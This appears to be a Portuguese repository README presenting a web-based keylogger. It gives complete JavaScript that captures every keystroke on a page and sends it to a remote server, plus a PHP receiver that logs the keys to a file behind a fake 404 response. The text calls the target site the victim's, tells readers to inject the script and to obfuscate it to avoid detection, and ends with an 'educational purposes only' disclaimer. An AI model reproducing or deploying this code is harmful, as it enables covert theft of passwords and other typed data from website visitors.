Keylogger é um tipo de software que, uma vez ativo em um sistema, pode registrar cada pressionamento de tecla feito pelo sistema. Todo o pressionamento de tecla gravado é salvo em um arquivo de log. Um keylogger pode gravar uma mensagem, e-mail e capturar qualquer tipo de informação que você digitar a qualquer momento usando o teclado.
if((window.jQuery))
{
console.log("jQuery Found");
}
else
{
console.log("jQuery Not Found");
var script = document.createElement('script');
script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
document.body.appendChild(script);
}
function c(d)
{
jQuery.ajax(
{
dataType: "jsonp",
type:"GET",
url: "https://example.com/keylogger.php",
jsonp:"keypressed",
data:
{
altnKey:d.altKey?1:0,
ctrlKey:d.ctrlKey?1:0,
userKey:d.key,
targKey:d.target.id,
userURI:d.target.baseURI
},
async:false,
success: function(data)
{
console.log(data);
},
error:function(xhr, ajaxOptions, thrownError)
{
console.log("Error");
}
});
}
window.onload = function()
{
window.addEventListener("keydown", function(e)
{
c(e);
});
}
O código acima em JavaScript pode ser injetado diretamente no site da vítima ou pode ser hospedado remotamente. O objetivo deste código é pegar o pressionamento de tecla do usuário e enviá-lo para um servidor remoto. Certifique-se de substituir " https://example.com/keylogger.php " pelo URL real do seu arquivo PHP.
Para economizar tempo vamos fazer isso com jQuery. Portanto, para evitar erros, a primeira coisa que fazemos é garantir que o jQuery esteja presente na página da vítima e carregá-lo caso não o encontremos.
Declaramos uma função " c ", onde o parâmetro " d " será o pressionamento da tecla. Esta função terá uma chamada Ajax para o arquivo PHP que recebe as teclas.
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data.txt';
if(!file_exists($file))
{
$fh = fopen($file, 'w');
}
function f($str)
{
return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}
$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);
$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI." ";
file_put_contents($file, $string, FILE_APPEND);
A parte do servidor está em PHP. Não há nada a explicar sobre o código acima, o objetivo do arquivo PHP é receber o valor do pressionamento de tecla transferido em Ajax pelo JavaScript e armazená-lo em um arquivo de texto simples. O "keylogger.php" deve ser hospedado em um servidor remoto e a URL completa do arquivo deve ser especificada no arquivo "keylogger.js".
Você pode adaptar o código acima para atender às suas necessidades exatas. Por exemplo, talvez você queira salvar os resultados diretamente em um banco de dados ou enviá-los para um endereço de e-mail. COMO FUNCIONA ? Um keylogger simples baseado na web. Nesta documentação, você saberá como funciona o keylogger, tipo de programação pela qual registramos e monitoramos cada pressionamento de tecla digitado pelo usuário em um site.
Podemos ir mais longe, usando uma ferramenta on-line de ofuscação para ocultar nosso código JavaScript e evitar que o proprietário do site detecte o keylogger à primeira vista.
Sinta-se livre para contribuir para corrigir quaisquer problemas, ou para apresentar um problema!
Por favor, note, este repo é apenas para fins educacionais. Nenhum contribuinte, maior ou menor, é culpado por quaisquer ações feitas por este programa.